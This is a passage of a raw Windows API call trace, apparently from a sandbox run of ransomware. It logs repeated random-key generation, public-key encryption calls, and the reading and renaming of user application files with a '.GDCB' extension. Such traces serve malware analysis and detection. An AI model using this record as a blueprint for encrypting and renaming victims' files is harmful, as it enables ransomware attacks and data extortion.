dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0209.649] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6489240) returned 1 [0209.649] CryptGetKeyParam (in: hKey=0x6489240, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0209.649] CryptEncrypt (in: hKey=0x6489240, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ce0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x6ce0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0209.649] GetLastError () returned 0x0 [0209.649] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0209.649] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0209.651] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6489440) returned 1 [0209.651] CryptGetKeyParam (in: hKey=0x6489440, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0209.651] CryptEncrypt (in: hKey=0x6489440, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6cf0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x6cf0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0209.651] GetLastError () returned 0x0 [0209.651] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0209.651] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\77ec32dc2bee35c0b759503a76ed5b66.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\77ec32dc2bee35c0b759503a76ed5b66.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0209.651] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0209.657] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0209.657] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0209.658] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0209.658] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0209.658] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0209.659] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0209.660] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0209.660] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0209.660] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0209.660] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0209.662] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6489300) returned 1 [0209.662] CryptGetKeyParam (in: hKey=0x6489300, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0209.662] CryptEncrypt (in: hKey=0x6489300, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x6d00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0209.662] GetLastError () returned 0x0 [0209.662] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0209.662] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0209.664] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x64893c0) returned 1 [0209.664] CryptGetKeyParam (in: hKey=0x64893c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0209.664] CryptEncrypt (in: hKey=0x64893c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x6d10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0209.664] GetLastError () returned 0x0 [0209.664] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0209.664] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\b6dc1948244e7e4562c9356a0052d7af.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\b6dc1948244e7e4562c9356a0052d7af.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0209.665] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0209.666] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0209.667] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0209.667] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0209.667] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0209.667] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0209.669] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0209.670] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0209.670] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0209.670] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0209.670] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0209.672] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6489340) returned 1 [0209.672] CryptGetKeyParam (in: hKey=0x6489340, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0209.672] CryptEncrypt (in: hKey=0x6489340, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x6d20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0209.672] GetLastError () returned 0x0 [0209.672] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0209.672] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0209.674] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6489540) returned 1 [0209.674] CryptGetKeyParam (in: hKey=0x6489540, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0209.674] CryptEncrypt (in: hKey=0x6489540, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x6d30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0209.674] GetLastError () returned 0x0 [0209.674] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0209.674] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\e214427ea25af5774381fe2c2582382e.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\e214427ea25af5774381fe2c2582382e.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0209.761] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0209.763] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0209.764] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0209.764] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0209.764] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0209.764] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0209.765] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0209.766] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0209.766] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0209.766] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0209.766] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0209.768] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489140) returned 1 [0209.768] CryptGetKeyParam (in: hKey=0x6489140, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0209.768] CryptEncrypt (in: hKey=0x6489140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6d40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0209.768] GetLastError () returned 0x0 [0209.768] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0209.768] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0209.770] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489500) returned 1 [0209.770] CryptGetKeyParam (in: hKey=0x6489500, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0209.770] CryptEncrypt (in: hKey=0x6489500, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6d50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0209.770] GetLastError () returned 0x0 [0209.770] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0209.770] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0209.772] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6d60000 [0209.773] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6d70000 [0209.774] ReadFile (in: hFile=0x510, lpBuffer=0x6d70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6d70000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0209.781] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x6e80000 [0209.785] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0209.861] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0209.863] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0209.863] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0209.863] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0209.863] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0209.864] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0209.865] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0209.866] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0209.866] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0209.866] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0209.866] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0209.869] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489280) returned 1 [0209.869] CryptGetKeyParam (in: hKey=0x6489280, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0209.869] CryptEncrypt (in: hKey=0x6489280, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6d40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0209.869] GetLastError () returned 0x0 [0209.869] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0209.869] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0209.871] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489480) returned 1 [0209.871] CryptGetKeyParam (in: hKey=0x6489480, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0209.871] CryptEncrypt (in: hKey=0x6489480, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6d50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0209.871] GetLastError () returned 0x0 [0209.871] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0209.871] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0209.910] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0209.912] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0209.913] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0209.913] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0209.913] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0209.913] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0209.915] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0209.915] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0209.916] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0209.916] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0209.916] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0209.918] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489700) returned 1 [0209.918] CryptGetKeyParam (in: hKey=0x6489700, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0209.918] CryptEncrypt (in: hKey=0x6489700, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d60000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6d60000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0209.918] GetLastError () returned 0x0 [0209.918] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0209.918] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0209.920] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489080) returned 1 [0209.920] CryptGetKeyParam (in: hKey=0x6489080, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0209.920] CryptEncrypt (in: hKey=0x6489080, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d70000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6d70000*, pdwDataLen=0x285d630*=0x100) returned 1 [0209.921] GetLastError () returned 0x0 [0209.921] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0209.921] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0209.922] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6d80000 [0209.924] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6d90000 [0209.925] ReadFile (in: hFile=0x510, lpBuffer=0x6d90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6d90000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0210.050] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x6ea0000 [0210.055] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\settings\\settings.dat.gdcb")) returned 0 [0210.082] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0210.084] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0210.085] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0210.085] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0210.085] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0210.085] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0210.086] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0210.087] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0210.087] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0210.087] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0210.088] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0210.090] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489600) returned 1 [0210.090] CryptGetKeyParam (in: hKey=0x6489600, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0210.090] CryptEncrypt (in: hKey=0x6489600, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6d60000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6d60000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0210.090] GetLastError () returned 0x0 [0210.090] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0210.090] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0210.093] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489380) returned 1 [0210.093] CryptGetKeyParam (in: hKey=0x6489380, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 